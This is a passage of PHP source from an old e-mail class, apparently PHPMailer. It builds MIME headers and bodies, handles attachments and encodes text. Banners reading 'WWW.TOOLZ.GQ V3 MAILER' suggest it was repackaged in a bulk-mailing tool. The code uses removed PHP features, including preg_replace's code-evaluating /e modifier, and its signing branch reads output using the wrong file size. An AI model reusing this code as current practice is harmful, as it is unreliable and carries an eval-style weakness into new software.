2269 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2270 }
2271
2272 if($this->MessageID != '') {
2273 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2274 } else {
2275 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2276 }
2277 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2278 if($this->ConfirmReadingTo != '') {
2279 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2280 }
2281
2282 // Add custom headers
2283 for($index = 0; $index < count($this->CustomHeader); $index++) {
2284 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2285 }
2286 if (!$this->sign_key_file) {
2287 $result .= $this->HeaderLine('MIME-Version', '1.0');
2288 $result .= $this->GetMailMIME();
2289 }
2290
2291 return $result;
2292 }
2293
2294 /**
2295 * Returns the message MIME.
2296 * @access private
2297 * @return string
2298 */
2299 function GetMailMIME() {
2300 $result = '';
2301 switch($this->message_type) {
2302 case 'plain':
2303 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2304 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2305 break;
2306 case 'attachments':
2307 /* fall through */
2308 case 'alt_attachments':
2309 if($this->InlineImageExists()){
2310 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2311 } else {
2312 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2313 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2314 }
2315 break;
2316 case 'alt':
2317 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2318 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2319 break;
2320 }
2321
2322 if($this->Mailer != 'mail') {
2323 $result .= $this->LE.$this->LE;
2324 }
2325
2326 return $result;
2327 }
2328
2329 /**
2330 * Assembles the message body. Returns an empty string on failure.
2331 * @access private
2332 * @return string
2333 */
2334 function CreateBody() {
2335 $result = '';
2336 if ($this->sign_key_file) {
2337 $result .= $this->GetMailMIME();
2338 }
2339
2340 $this->SetWordWrap();
2341
2342 switch($this->message_type) {
2343 case 'alt':
2344 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2345 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2346 $result .= $this->LE.$this->LE;
2347 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2348 $result .= $this->EncodeString($this->Body, $this->Encoding);
2349 $result .= $this->LE.$this->LE;
2350 $result .= $this->EndBoundary($this->boundary[1]);
2351 break;
2352 case 'plain':
2353 $result .= $this->EncodeString($this->Body, $this->Encoding);
2354 break;
2355 case 'attachments':
2356 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2357 $result .= $this->EncodeString($this->Body, $this->Encoding);
2358 $result .= $this->LE;
2359 $result .= $this->AttachAll();
2360 break;
2361 case 'alt_attachments':
2362 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2363 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2364 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2365 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2366 $result .= $this->LE.$this->LE;
2367 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2368 $result .= $this->EncodeString($this->Body, $this->Encoding);
2369 $result .= $this->LE.$this->LE;
2370 $result .= $this->EndBoundary($this->boundary[2]);
2371 $result .= $this->AttachAll();
2372 break;
2373 }
2374
2375 if($this->IsError()) {
2376 $result = '';
2377 } else if ($this->sign_key_file) {
2378 $file = tempnam("", "mail");
2379 $fp = fopen($file, "w");
2380 fwrite($fp, $result);
2381 fclose($fp);
2382 $signed = tempnam("", "signed");
2383
2384 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2385 $fp = fopen($signed, "r");
2386 $result = fread($fp, filesize($this->sign_key_file));
2387 fclose($fp);
2388 } else {
2389 $this->SetError($this->Lang("signing").openssl_error_string());
2390 $result = '';
2391 }
2392
2393 unlink($file);
2394 unlink($signed);
2395 }
2396
2397 return $result;
2398 }
2399/////////////////////////////////////////////////////////////////////////////////////////
2400/////////////////////////////////////////////////////////////////////////////////////////
2401
2402///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
2403
2404/////////////////////////////////////////////////////////////////////////////////////////
2405/////////////////////////////////////////////////////////////////////////////////////////
2406 /**
2407 * Returns the start of a message boundary.
2408 * @access private
2409 */
2410 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2411 $result = '';
2412 if($charSet == '') {
2413 $charSet = $this->CharSet;
2414 }
2415 if($contentType == '') {
2416 $contentType = $this->ContentType;
2417 }
2418 if($encoding == '') {
2419 $encoding = $this->Encoding;
2420 }
2421 $result .= $this->TextLine('--' . $boundary);
2422 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2423 $result .= $this->LE;
2424 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2425 $result .= $this->LE;
2426
2427 return $result;
2428 }
2429
2430 /**
2431 * Returns the end of a message boundary.
2432 * @access private
2433 */
2434 function EndBoundary($boundary) {
2435 return $this->LE . '--' . $boundary . '--' . $this->LE;
2436 }
2437
2438 /**
2439 * Sets the message type.
2440 * @access private
2441 * @return void
2442 */
2443 function SetMessageType() {
2444 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2445 $this->message_type = 'plain';
2446 } else {
2447 if(count($this->attachment) > 0) {
2448 $this->message_type = 'attachments';
2449 }
2450 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2451 $this->message_type = 'alt';
2452 }
2453 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2454 $this->message_type = 'alt_attachments';
2455 }
2456 }
2457 }
2458
2459 /* Returns a formatted header line.
2460 * @access private
2461 * @return string
2462 */
2463 function HeaderLine($name, $value) {
2464 return $name . ': ' . $value . $this->LE;
2465 }
2466
2467 /**
2468 * Returns a formatted mail line.
2469 * @access private
2470 * @return string
2471 */
2472 function TextLine($value) {
2473 return $value . $this->LE;
2474 }
2475
2476 /////////////////////////////////////////////////
2477 // CLASS METHODS, ATTACHMENTS
2478 /////////////////////////////////////////////////
2479
2480 /**
2481 * Adds an attachment from a path on the filesystem.
2482 * Returns false if the file could not be found
2483 * or accessed.
2484 * @param string $path Path to the attachment.
2485 * @param string $name Overrides the attachment name.
2486 * @param string $encoding File encoding (see $Encoding).
2487 * @param string $type File extension (MIME) type.
2488 * @return bool
2489 */
2490 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2491 if(!@is_file($path)) {
2492 $this->SetError($this->Lang('file_access') . $path);
2493 return false;
2494 }
2495
2496 $filename = basename($path);
2497 if($name == '') {
2498 $name = $filename;
2499 }
2500
2501 $cur = count($this->attachment);
2502 $this->attachment[$cur][0] = $path;
2503 $this->attachment[$cur][1] = $filename;
2504 $this->attachment[$cur][2] = $name;
2505 $this->attachment[$cur][3] = $encoding;
2506 $this->attachment[$cur][4] = $type;
2507 $this->attachment[$cur][5] = false; // isStringAttachment
2508 $this->attachment[$cur][6] = 'attachment';
2509 $this->attachment[$cur][7] = 0;
2510
2511 return true;
2512 }
2513
2514 /**
2515 * Attaches all fs, string, and binary attachments to the message.
2516 * Returns an empty string on failure.
2517 * @access private
2518 * @return string
2519 */
2520 function AttachAll() {
2521 /* Return text of body */
2522 $mime = array();
2523
2524 /* Add all attachments */
2525 for($i = 0; $i < count($this->attachment); $i++) {
2526 /* Check for string attachment */
2527 $bString = $this->attachment[$i][5];
2528 if ($bString) {
2529 $string = $this->attachment[$i][0];
2530 } else {
2531 $path = $this->attachment[$i][0];
2532 }
2533
2534 $filename = $this->attachment[$i][1];
2535 $name = $this->attachment[$i][2];
2536 $encoding = $this->attachment[$i][3];
2537 $type = $this->attachment[$i][4];
2538 $disposition = $this->attachment[$i][6];
2539 $cid = $this->attachment[$i][7];
2540
2541 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2542 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2543 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2544
2545 if($disposition == 'inline') {
2546 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2547 }
2548
2549 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2550
2551 /* Encode as string attachment */
2552 if($bString) {
2553 $mime[] = $this->EncodeString($string, $encoding);
2554 if($this->IsError()) {
2555 return '';
2556 }
2557 $mime[] = $this->LE.$this->LE;
2558 } else {
2559 $mime[] = $this->EncodeFile($path, $encoding);
2560 if($this->IsError()) {
2561 return '';
2562 }
2563 $mime[] = $this->LE.$this->LE;
2564 }
2565 }
2566
2567 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2568
2569 return join('', $mime);
2570 }
2571
2572 /**
2573 * Encodes attachment in requested format. Returns an
2574 * empty string on failure.
2575 * @access private
2576 * @return string
2577 */
2578 function EncodeFile ($path, $encoding = 'base64') {
2579 if(!@$fd = fopen($path, 'rb')) {
2580 $this->SetError($this->Lang('file_open') . $path);
2581 return '';
2582 }
2583 $magic_quotes = get_magic_quotes_runtime();
2584 set_magic_quotes_runtime(0);
2585 $file_buffer = fread($fd, filesize($path));
2586 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2587 fclose($fd);
2588 set_magic_quotes_runtime($magic_quotes);
2589
2590 return $file_buffer;
2591 }
2592
2593 /**
2594 * Encodes string to requested format. Returns an
2595 * empty string on failure.
2596 * @access private
2597 * @return string
2598 */
2599
2600 function EncodeString ($str, $encoding = 'base64') {
2601 $encoded = '';
2602 switch(strtolower($encoding)) {
2603 case 'base64':
2604 /* chunk_split is found in PHP >= 3.0.6 */
2605 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2606 break;
2607 case '7bit':
2608 case '8bit':
2609 $encoded = $this->FixEOL($str);
2610 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2611 $encoded .= $this->LE;
2612 break;
2613 case 'binary':
2614 $encoded = $str;
2615 break;
2616 case 'quoted-printable':
2617 $encoded = $this->EncodeQP($str);
2618 break;
2619 default:
2620 $this->SetError($this->Lang('encoding') . $encoding);
2621 break;
2622 }
2623 return $encoded;
2624 }
2625
2626 /**
2627 * Encode a header string to best of Q, B, quoted or none.
2628 * @access private
2629 * @return string
2630 */
2631 function EncodeHeader ($str, $position = 'text') {
2632 $x = 0;
2633
2634 switch (strtolower($position)) {
2635 case 'phrase':
2636 if (!preg_match('/[\200-\377]/', $str)) {
2637 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2638 $encoded = addcslashes($str, "\0..\37\177\\\"");
2639 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2640 return ($encoded);
2641 } else {
2642 return ("\"$encoded\"");
2643 }
2644 }
2645 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2646 break;
2647 case 'comment':
2648 $x = preg_match_all('/[()"]/', $str, $matches);
2649 /* Fall-through */
2650 case 'text':
2651 default:
2652 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2653 break;
2654 }
2655
2656 if ($x == 0) {
2657 return ($str);
2658 }
2659
2660 $maxlen = 75 - 7 - strlen($this->CharSet);
2661 /* Try to select the encoding which should produce the shortest output */
2662 if (strlen($str)/3 < $x) {
2663 $encoding = 'B';
2664 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2665 // Use a custom function which correctly encodes and wraps long
2666 // multibyte strings without breaking lines within a character
2667 $encoded = $this->Base64EncodeWrapMB($str);
2668 } else {
2669 $encoded = base64_encode($str);
2670 $maxlen -= $maxlen % 4;
2671 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2672 }
2673 } else {
2674 $encoding = 'Q';
2675 $encoded = $this->EncodeQ($str, $position);
2676 $encoded = $this->WrapText($encoded, $maxlen, true);
2677 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2678 }
2679
2680 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2681 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2682
2683 return $encoded;
2684 }
2685
2686 /**
2687 * Checks if a string contains multibyte characters.
2688 * @access private
2689 * @param string $str multi-byte text to wrap encode
2690 * @return bool
2691 */
2692 function HasMultiBytes($str) {
2693 if (function_exists('mb_strlen')) {
2694 return (strlen($str) > mb_strlen($str, $this->CharSet));
2695 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2696 return False;
2697 }
2698 }
2699
2700 /**
2701 * Correctly encodes and wraps long multibyte strings for mail headers
2702 * without breaking lines within a character.
2703 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2704 * @access private
2705 * @param string $str multi-byte text to wrap encode
2706 * @return string
2707 */
2708 function Base64EncodeWrapMB($str) {
2709 $start = "=?".$this->CharSet."?B?";
2710 $end = "?=";
2711 $encoded = "";
2712
2713 $mb_length = mb_strlen($str, $this->CharSet);
2714 // Each line must have length <= 75, including $start and $end
2715 $length = 75 - strlen($start) - strlen($end);
2716 // Average multi-byte ratio
2717 $ratio = $mb_length / strlen($str);
2718 // Base64 has a 4:3 ratio
2719 $offset = $avgLength = floor($length * $ratio * .75);
2720
2721 for ($i = 0; $i < $mb_length; $i += $offset) {
2722 $lookBack = 0;
2723
2724 do {
2725 $offset = $avgLength - $lookBack;
2726 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2727 $chunk = base64_encode($chunk);
2728 $lookBack++;
2729 }
2730 while (strlen($chunk) > $length);
2731
2732 $encoded .= $chunk . $this->LE;
2733 }
2734
2735 // Chomp the last linefeed
2736 $encoded = substr($encoded, 0, -strlen($this->LE));
2737 return $encoded;
2738 }
2739
2740 /**
2741 * Encode string to quoted-printable.
2742 * @access private
2743 * @return string
2744 */
2745 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2746 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2747 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2748 $eol = "\r\n";
2749 $escape = '=';
2750 $output = '';
2751 while( list(, $line) = each($lines) ) {
2752 $linlen = strlen($line);
2753 $newline = '';
2754 for($i = 0; $i < $linlen; $i++) {
2755 $c = substr( $line, $i, 1 );
2756 $dec = ord( $c );
2757 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2758 $c = '=2E';
2759 }
2760 if ( $dec == 32 ) {
2761 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2762 $c = '=20';
2763 } else if ( $space_conv ) {
2764 $c = '=20';
2765 }
2766 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2767 $h2 = floor($dec/16);
2768 $h1 = floor($dec%16);
2769 $c = $escape.$hex[$h2].$hex[$h1];
2770 }
2771 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2772 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2773 $newline = '';
2774 // check if newline first character will be point or not
2775 if ( $dec == 46 ) {
2776 $c = '=2E';
2777 }
2778 }
2779 $newline .= $c;
2780 } // end of for
2781 $output .= $newline.$eol;
2782 } // end of while
2783 return trim($output);
2784 }
2785
2786 /**
2787 * Encode string to q encoding.
2788 * @access private
2789 * @return string
2790 */
2791 function EncodeQ ($str, $position = 'text') {
2792 /* There should not be any EOL in the string */
2793 $encoded = preg_replace("[\r\n]", '', $str);
2794
2795 switch (strtolower($position)) {
2796 case 'phrase':
2797 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2798 break;
2799 case 'comment':
2800 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2801 case 'text':
2802 default:
2803 /* Replace every high ascii, control =, ? and _ characters */
2804 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2805 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2806 break;
2807 }
2808
2809 /* Replace every spaces to _ (more readable than =20) */
2810 $encoded = str_replace(' ', '_', $encoded);
2811
2812 return $encoded;
2813 }
2814
2815 /**
2816 * Adds a string or binary attachment (non-filesystem) to the list.
2817 * This method can be used to attach ascii or binary data,
2818 * such as a BLOB record from a database.
2819 * @param string $string String attachment data.
2820 * @param string $filename Name of the attachment.
2821 * @param string $encoding File encoding (see $Encoding).
2822 * @param string $type File extension (MIME) type.
2823 * @return void
2824 */
2825 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2826 /* Append to $attachment array */
2827 $cur = count($this->attachment);
2828 $this->attachment[$cur][0] = $string;
2829 $this->attachment[$cur][1] = $filename;
2830 $this->attachment[$cur][2] = $filename;
2831 $this->attachment[$cur][3] = $encoding;
2832 $this->attachment[$cur][4] = $type;
2833 $this->attachment[$cur][5] = true; // isString
2834 $this->attachment[$cur][6] = 'attachment';
2835 $this->attachment[$cur][7] = 0;
2836 }
2837
2838 /**
2839 * Adds an embedded attachment. This can include images, sounds, and
2840 * just about any other document. Make sure to set the $type to an
2841 * image type. For JPEG images use "image/jpeg" and for GIF images
2842 * use "image/gif".
2843 * @param string $path Path to the attachment.
2844 * @param string $cid Content ID of the attachment. Use this to identify
2845 * the Id for accessing the image in an HTML form.
2846 * @param string $name Overrides the attachment name.
2847 * @param string $encoding File encoding (see $Encoding).
2848 * @param string $type File extension (MIME) type.
2849 * @return bool
2850 */
2851 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2852
2853 if(!@is_file($path)) {
2854 $this->SetError($this->Lang('file_access') . $path);
2855 return false;
2856 }
2857
2858 $filename = basename($path);
2859 if($name == '') {
2860 $name = $filename;
2861 }
2862
2863 /* Append to $attachment array */
2864 $cur = count($this->attachment);
2865 $this->attachment[$cur][0] = $path;
2866 $this->attachment[$cur][1] = $filename;
2867 $this->attachment[$cur][2] = $name;
2868 $this->attachment[$cur][3] = $encoding;
2869 $this->attachment[$cur][4] = $type;
2870 $this->attachment[$cur][5] = false;
2871 $this->attachment[$cur][6] = 'inline';
2872 $this->attachment[$cur][7] = $cid;
2873
2874 return true;
2875 }
2876
2877 /**
2878 * Returns true if an inline attachment is present.
2879 * @access private
2880 * @return bool
2881 */
2882 function InlineImageExists() {
2883 $result = false;
2884 for($i = 0; $i < count($this->attachment); $i++) {
2885 if($this->attachment[$i][6] == 'inline') {
2886 $result = true;
2887 break;
2888 }
2889 }
2890
2891 return $result;
2892 }
2893
2894 /////////////////////////////////////////////////
2895 // CLASS METHODS, MESSAGE RESET
2896 /////////////////////////////////////////////////
2897
2898 /**
2899 * Clears all recipients assigned in the TO array. Returns void.
2900 * @return void
2901 */
2902 function ClearAddresses() {
2903 $this->to = array();
2904 }
2905
2906 /**
2907 * Clears all recipients assigned in the CC array. Returns void.
2908 * @return void
2909 */
2910 function ClearCCs() {
2911 $this->cc = array();
2912 }
2913
2914 /**
2915 * Clears all recipients assigned in the BCC array. Returns void.
2916 * @return void
2917 */
2918 function ClearBCCs() {
2919 $this->bcc = array();
2920 }
2921
2922 /**
2923 * Clears all recipients assigned in the ReplyTo array. Returns void.
2924 * @return void
2925 */
2926 function ClearReplyTos() {
2927 $this->ReplyTo = array();
2928 }
2929
2930 /**
2931 * Clears all recipients assigned in the TO, CC and BCC
2932 * array. Returns void.
2933 * @return void
2934 */
2935 function ClearAllRecipients() {
2936 $this->to = array();
2937 $this->cc = array();
2938 $this->bcc = array();
2939 }
2940
2941 /**
2942 * Clears all previously set filesystem, string, and binary
2943 * attachments. Returns void.
2944 * @return void
2945 */
2946 function ClearAttachments() {
2947 $this->attachment = array();
2948 }
2949
2950 /**
2951 * Clears all custom headers. Returns void.
2952 * @return void
2953 */
2954 function ClearCustomHeaders() {
2955 $this->CustomHeader = array();
2956 }
2957
2958 /////////////////////////////////////////////////
2959 // CLASS METHODS, MISCELLANEOUS
2960 /////////////////////////////////////////////////
2961
2962 /**
2963 * Adds the error message to the error container.
2964 * Returns void.
2965 * @access private
2966 * @return void
2967 */
2968 function SetError($msg) {
2969 $this->error_count++;
2970 $this->ErrorInfo = $msg;
2971 }
2972
2973 /**
2974 * Returns the proper RFC 822 formatted date.
2975 * @access private
2976 * @return string
2977 */
2978 function RFCDate() {
2979 $tz = date('Z');
2980 $tzs = ($tz < 0) ? '-' : '+';
2981 $tz = abs($tz);
2982 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2983 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2984
2985 return $result;
2986 }
2987
2988 /**
2989 * Returns the appropriate server variable. Should work with both
2990 * PHP 4.1.0+ as well as older versions. Returns an empty string
2991 * if nothing is found.
2992 * @access private
2993 * @return mixed
2994 */
2995 function ServerVar($varName) {
2996 global $HTTP_SERVER_VARS;
2997 global $HTTP_ENV_VARS;
2998
2999 if(!isset($_SERVER)) {
3000 $_SERVER = $HTTP_SERVER_VARS;
3001 if(!isset($_SERVER['REMOTE_ADDR'])) {
3002 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3003 }
3004 }
3005
3006 if(isset($_SERVER[$varName])) {
3007 return $_SERVER[$varName];
3008 } else {
3009 return '';
3010 }
3011 }
3012
3013 /**
3014 * Returns the server hostname or 'localhost.localdomain' if unknown.
3015 * @access private
3016 * @return string
3017 */
3018 function ServerHostname() {
3019 if ($this->Hostname != '') {
3020 $result = $this->Hostname;
3021 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3022 $result = $this->ServerVar('SERVER_NAME');
3023 } else {
3024 $result = 'localhost.localdomain';
3025 }
3026
3027 return $result;
3028 }
3029
3030 /**
3031 * Returns a message in the appropriate language.
3032 * @access private
3033 * @return string
3034 */
3035 function Lang($key) {
3036 if(count($this->language) < 1) {
3037 $this->SetLanguage('en'); // set the default language
3038 }
3039
3040 if(isset($this->language[$key])) {
3041 return $this->language[$key];
3042 } else {
3043 return 'Language string failed to load: ' . $key;
3044 }
3045 }
3046
3047 /**
3048 * Returns true if an error occurred.
3049 * @return bool
3050 */
3051 function IsError() {
3052 return ($this->error_count > 0);
3053 }
3054
3055 /**
3056 * Changes every end of line from CR or LF to CRLF.
3057 * @access private
3058 * @return string
3059 */
3060 function FixEOL($str) {
3061 $str = str_replace("\r\n", "\n", $str);
3062 $str = str_replace("\r", "\n", $str);
3063 $str = str_replace("\n", $this->LE, $str);
3064 return $str;
3065 }
3066
3067 /**
3068 * Adds a custom header.
3069 * @return void
3070 */
3071 function AddCustomHeader($custom_header) {
3072 $this->CustomHeader[] = explode(':', $custom_header, 2);
3073 }
3074
3075 /**
3076 * Evaluates the message and returns modifications for inline images and backgrounds
3077 * @access public
3078 * @return $message
3079 */
3080 function MsgHTML($message,$basedir='') {
3081 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3082 if(isset($images[2])) {
3083 foreach($images[2] as $i => $url) {
3084 // do not change urls for absolute images (thanks to corvuscorax)
3085 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3086 $filename = basename($url);
3087 $directory = dirname($url);
3088 ($directory == '.')?$directory='':'';
3089 $cid = 'cid:' . md5($filename);
3090 $fileParts = split("\.", $filename);
3091 $ext = $fileParts[1];
3092 $mimeType = $this->_mime_types($ext);
3093 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3094 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3095 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3096 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3097 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3098 }
3099 }
3100 }
3101 }
3102 $this->IsHTML(true);
3103 $this->Body = $message;
3104 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3105 if ( !empty($textMsg) && empty($this->AltBody) ) {
3106 $this->AltBody = $textMsg;
3107 }
3108 if ( empty($this->AltBody) ) {
3109 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3110 }
3111 }
3112
3113 /**
3114 * Gets the mime type of the embedded or inline image
3115 * @access private
3116 * @return mime type of ext
3117 */
3118 function _mime_types($ext = '') {
3119 $mimes = array(
3120 'hqx' => 'application/mac-binhex40',
3121 'cpt' => 'application/mac-compactpro',
3122 'doc' => 'application/msword',
3123 'bin' => 'application/macbinary',
3124 'dms' => 'application/octet-stream',
3125 'lha' => 'application/octet-stream',
3126 'lzh' => 'application/octet-stream',
3127 'exe' => 'application/octet-stream',
3128 'class' => 'application/octet-stream',
3129 'psd' => 'application/octet-stream',
3130 'so' => 'application/octet-stream',
3131 'sea' => 'application/octet-stream',
3132 'dll' => 'application/octet-stream',
3133 'oda' => 'application/oda',
3134 'pdf' => 'application/pdf',
3135 'ai' => 'application/postscript',
3136 'eps' => 'application/postscript',
3137 'ps' => 'application/postscript',
3138 'smi' => 'application/smil',
3139 'smil' => 'application/smil',
3140 'mif' => 'application/vnd.mif',
3141 'xls' => 'application/vnd.ms-excel',
3142 'ppt' => 'application/vnd.ms-powerpoint',
3143 'wbxml' => 'application/vnd.wap.wbxml',
3144 'wmlc' => 'application/vnd.wap.wmlc',
3145 'dcr' => 'application/x-director',
3146 'dir' => 'application/x-director',
3147 'dxr' => 'application/x-director',
3148 'dvi' => 'application/x-dvi',
3149 'gtar' => 'application/x-gtar',
3150 'php' => 'application/x-httpd-php',
3151 'php4' => 'application/x-httpd-php',
3152 'php3' => 'application/x-httpd-php',
3153 'phtml' => 'application/x-httpd-php',
3154 'phps' => 'application/x-httpd-php-source',
3155 'js' => 'application/x-javascript',
3156 'swf' => 'application/x-shockwave-flash',
3157 'sit' => 'application/x-stuffit',
3158 'tar' => 'application/x-tar',
3159 'tgz' => 'application/x-tar',
3160 'xhtml' => 'application/xhtml+xml',
3161 'xht' => 'application/xhtml+xml',
3162 'zip' => 'application/zip',
3163 'mid' => 'audio/midi',
3164 'midi' => 'audio/midi',
3165 'mpga' => 'audio/mpeg',
3166 'mp2' => 'audio/mpeg',
3167 'mp3' => 'audio/mpeg',
3168 'aif' => 'audio/x-aiff',
3169 'aiff' => 'audio/x-aiff',
3170 'aifc' => 'audio/x-aiff',
3171 'ram' => 'audio/x-pn-realaudio',
3172 'rm' => 'audio/x-pn-realaudio',
3173 'rpm' => 'audio/x-pn-realaudio-plugin',
3174 'ra' => 'audio/x-realaudio',
3175 'rv' => 'video/vnd.rn-realvideo',
3176 'wav' => 'audio/x-wav',
3177 'bmp' => 'image/bmp',
3178 'gif' => 'image/gif',
3179 'jpeg' => 'image/jpeg',
3180 'jpg' => 'image/jpeg',
3181 'jpe' => 'image/jpeg',
3182 'png' => 'image/png',
3183 'tiff' => 'image/tiff',
3184 'tif' => 'image/tiff',
3185 'css' => 'text/css',
3186 'html' => 'text/html',
3187 'htm' => 'text/html',
3188 'shtml' => 'text/html',
3189 'txt' => 'text/plain',
3190 'text' => 'text/plain',
3191 'log' => 'text/plain',
3192 'rtx' => 'text/richtext',
3193 'rtf' => 'text/rtf',
3194 'xml' => 'text/xml',
3195 'xsl' => 'text/xml',
3196 'mpeg' => 'video/mpeg',
3197 'mpg' => 'video/mpeg',
3198 'mpe' => 'video/mpeg',
3199 'qt' => 'video/quicktime',
3200 'mov' => 'video/quicktime',
3201 'avi' => 'video/x-msvideo',
3202 'movie' => 'video/x-sgi-movie',
3203 'doc' => 'application/msword',
3204 'word' => 'application/msword',
3205 'xl' => 'application/excel',
3206 'eml' => 'message/rfc822'
3207 );
3208 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3209 }
3210
3211/////////////////////////////////////////////////////////////////////////////////////////
3212/////////////////////////////////////////////////////////////////////////////////////////
3213
3214///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
3215
3216/////////////////////////////////////////////////////////////////////////////////////////
3217/////////////////////////////////////////////////////////////////////////////////////////
3218 /**
3219 * Set (or reset) Class Objects (variables)
3220 *
3221 * Usage Example:
3222 * $page->set('X-Priority', '3');
3223 *
3224 * @access public
3225 * @param string $name Parameter Name
3226 * @param mixed $value Parameter Value
3227 * NOTE: will not work with arrays, there are no arrays to set/reset
3228 */
3229
3230 function set ( $name, $value = '' ) {
3231 if ( isset($this->$name) ) {
3232 $this->$name = $value;
3233 } else {
3234 $this->SetError('Cannot set or reset variable ' . $name);
3235 return false;
3236 }
3237 }
3238
3239 /**
3240 * Read a file from a supplied filename and return it.
3241 *
3242 * @access public
3243 * @param string $filename Parameter File Name
3244 */
3245
3246 function getFile($filename) {
3247 $return = '';
3248 if ($fp = fopen($filename, 'rb')) {
